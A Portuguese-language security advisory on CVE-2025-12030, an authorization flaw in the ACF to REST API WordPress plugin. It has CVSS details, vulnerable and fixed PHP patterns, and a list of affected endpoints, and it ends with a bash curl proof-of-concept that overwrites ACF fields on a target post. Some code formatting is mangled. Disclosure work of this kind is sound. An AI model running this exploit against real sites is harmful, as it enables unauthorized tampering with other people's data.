
Vulnerabilidade IDOR no plugin WordPress ACF to REST API (CVE-2025-12030) - Falha de segurança que permite que usuários autenticados com acesso de nível Contributor modifiquem campos ACF em objetos que não possuem.
Palavras-chave: CVE-2025-12030, vulnerabilidade do ACF to REST API, IDOR, segurança do WordPress, exploit autenticado, vulnerabilidade de plugin WordPress, CWE-639, modificação de campos ACF, bypass de autorização, CVE 2025 do WordPress, Advanced Custom Fields, segurança da REST API
Vulnerabilidade IDOR do Plugin WordPress ACF to REST API (CVE-2025-12030) - Falha de segurança que permite a usuários autenticados com acesso de nível Colaborador modificar campos ACF em objetos que não possuem.
Uma vulnerabilidade de Referência Direta a Objeto Insegura (IDOR) foi descoberta no Plugin WordPress ACF to REST API, que permite a atacantes autenticados com privilégios mínimos modificar campos ACF em toda a instalação do WordPress.
Descoberto por: Kai Aizen (SnailSploit)
Publicado: 6 de janeiro de 2026
Pontuação CVSS: 4.3 (Médio)
CWE: CWE-639 - Bypass de Autorização por Meio de Chave Controlada pelo Usuário
Plugin: ACF to REST API
Plugin Slug: acf-to-rest-api
Tipo de Ataque: Referência Direta a Objeto Insegura (IDOR)
Privilégios Necessários: Colaborador+ (Ataque Autenticado)
O plugin ACF to REST API para WordPress é vulnerável a Referência Direta a Objeto Insegura em todas as versões até, e incluindo, 3.3.4. Isso se deve a verificações insuficientes de capacidade no método update_item_permissions_check(), que apenas verifica se o usuário atual possui a capacidade edit_posts sem verificar permissões específicas do objeto (por exemplo, edit_post($id), edit_user($id), manage_options).
Esta vulnerabilidade permite que atacantes autenticados com acesso de nível Colaborador ou superior:
manage_optionsTodas as modificações são possíveis por meio dos endpoints da REST API /wp-json/acf/v3/{type}/{id}.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Métrica | Valor |
|--------|-------|
| Vetor de Ataque | Rede (AV:N) |
| Complexidade de Ataque | Baixa (AC:L) |
| Privilégios Necessários | Baixos (PR:L) |
| Interação do Usuário | Nenhuma (UI:N) |
| Escopo | Inalterado (S:U) |
| Confidencialidade | Nenhuma (C:N) |
| Integridade | Baixa (I:L) |
| Disponibilidade | Nenhuma (A:N) |
**Detalhamento CVSS v3.1:**
- **Vetor de Ataque (AV):** Rede - A vulnerabilidade pode ser explorada remotamente através de uma rede
- **Complexidade de Ataque (AC):** Baixa - Nenhuma condição especial é necessária para a exploração
- **Privilégios Necessários (PR):** Baixos - Requer autenticação de nível Contribuidor
- **Interação do Usuário (UI):** Nenhuma - A exploração funciona sem qualquer interação do usuário
- **Escopo (S):** Inalterado - A vulnerabilidade afeta apenas o componente vulnerável
- **Impacto na Confidencialidade (C):** Nenhum - Nenhuma divulgação de informações
- **Impacto na Integridade (I):** Baixo - Modificação não autorizada de campos ACF
- **Impacto na Disponibilidade (A):** Nenhum - Nenhum impacto na disponibilidade
## Detalhes Técnicos
### Causa Raiz da Vulnerabilidade
A vulnerabilidade existe no método `update_item_permissions_check()`, que realiza autorização insuficiente:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
A implementação adequada deve verificar permissões específicas do objeto:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### Endpoints Vulneráveis
| Endpoint | Alvo | Capacidade Necessária (Deveria Ser) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Posts | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Páginas | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Usuários | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Comentários | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Termos | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Opções | `manage_options` |
### Vetor de Ataque```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
A vulnerabilidade pode ser explorada através da API REST do WordPress por qualquer usuário autenticado com pelo menos o papel de Colaborador.
⚠️ Somente para Fins Educacionais e de Teste Autorizados
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool